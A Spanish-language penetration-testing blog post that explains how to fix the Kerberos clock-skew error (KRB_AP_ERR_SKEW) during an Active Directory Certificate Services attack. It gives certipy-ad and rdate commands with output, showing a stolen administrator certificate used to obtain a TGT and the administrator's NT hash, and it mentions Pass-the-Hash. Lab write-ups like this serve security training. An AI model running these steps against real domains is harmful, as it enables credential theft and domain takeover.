Solucionando el Error de Kerberos KRB_AP_ERR_SKEW
Tabla de contenido
Estás en pleno ejercicio de intrusión, has logrado comprometer una plantilla de certificados vulnerable en Active Directory Certificate Services (ADCS) y ya tienes en tu poder el preciado archivo administrator.pfx. El siguiente paso lógico es solicitar un Ticket Granting Ticket (TGT) y extraer el hash del administrador. Lanzas certipy-ad con una sonrisa en la cara y, de repente, la terminal te escupe esto:
certipy-ad auth -pfx 'administrator.pfx' -dc-ip 10.2.10.10 -debug
...
[*] Using principal: 'administrator@hackpuntes.loc'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC hackpuntes.loc (10.2.10.10)
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
...
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Ese infame KRB_AP_ERR_SKEW. La decepción es inmensa y tu día amenaza con arruinarse.
🕰️ El Porqué: Kerberos y la Sincronización de Tiempo
Si estás aquí, probablemente estés sufriendo este mismo problema. Kerberos es un protocolo de autenticación extremadamente estricto con el tiempo para prevenir ataques de repetición (Replay Attacks). Por defecto en entornos Windows, si la diferencia de reloj entre tu máquina atacante y el Controlador de Dominio (sistema objetivo) supera los 5 minutos, el KDC rechazará la solicitud de autenticación.
Para solucionarlo desde Kali Linux, necesitamos forzar una sincronización exacta con el reloj del Domain Controller.
🛠️ Reparando la Desincronización
A base de ensayo y error, la metodología más rápida para alinear los relojes y continuar con la explotación implica desactivar la actualización automática de red local y forzar la hora del DC.
1. Desactivar NTP
Primero, evitamos que nuestro sistema operativo intente corregir la hora automáticamente de vuelta a la zona original.
sudo timedatectl set-ntp off
2. Sincronizar con el Controlador de Dominio
Vamos a usar rdate para capturar e imponer la hora del sistema objetivo (10.2.10.10 en nuestro caso). Si no tienes la herramienta instalada, el sistema te pedirá descargarla.
Nota de OPSEC: Consultar la hora no suele levantar alarmas en un SOC, pero interactuar directamente con el puerto 37 (Time Protocol) podría registrarse en redes muy monitorizadas.
sudo rdate -n 10.2.10.10
Wed Mar 3 23:31:36 CET 2026
3. Ejecutar Certipy y Obtener el Hash
Con los relojes sincronizados, volvemos a lanzar la petición AS-REQ. Utilizamos el flag -debug para ver el detalle de las operaciones por debajo, aunque en un entorno real esto no afecta a la red, solo a la verbosidad de nuestra consola.
certipy-ad auth -pfx 'administrator.pfx' -dc-ip 10.2.10.10 -debug
...
[*] Using principal: 'administrator@hackpuntes.loc'
[*] Trying to get TGT...
[+] Sending AS-REQ to KDC hackpuntes.loc (10.2.10.10)
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[+] Attempting to write data to 'administrator.ccache'
[+] Data written to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@hackpuntes.loc': aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
¡Objetivo cumplido! Un usuario malintencionado podría ahora utilizar este hash para realizar Pass-The-Hash o inyectar el TGT en memoria para escalar privilegios en el dominio.
Espero que esto te ahorre dolores de cabeza. Happy Hacking.
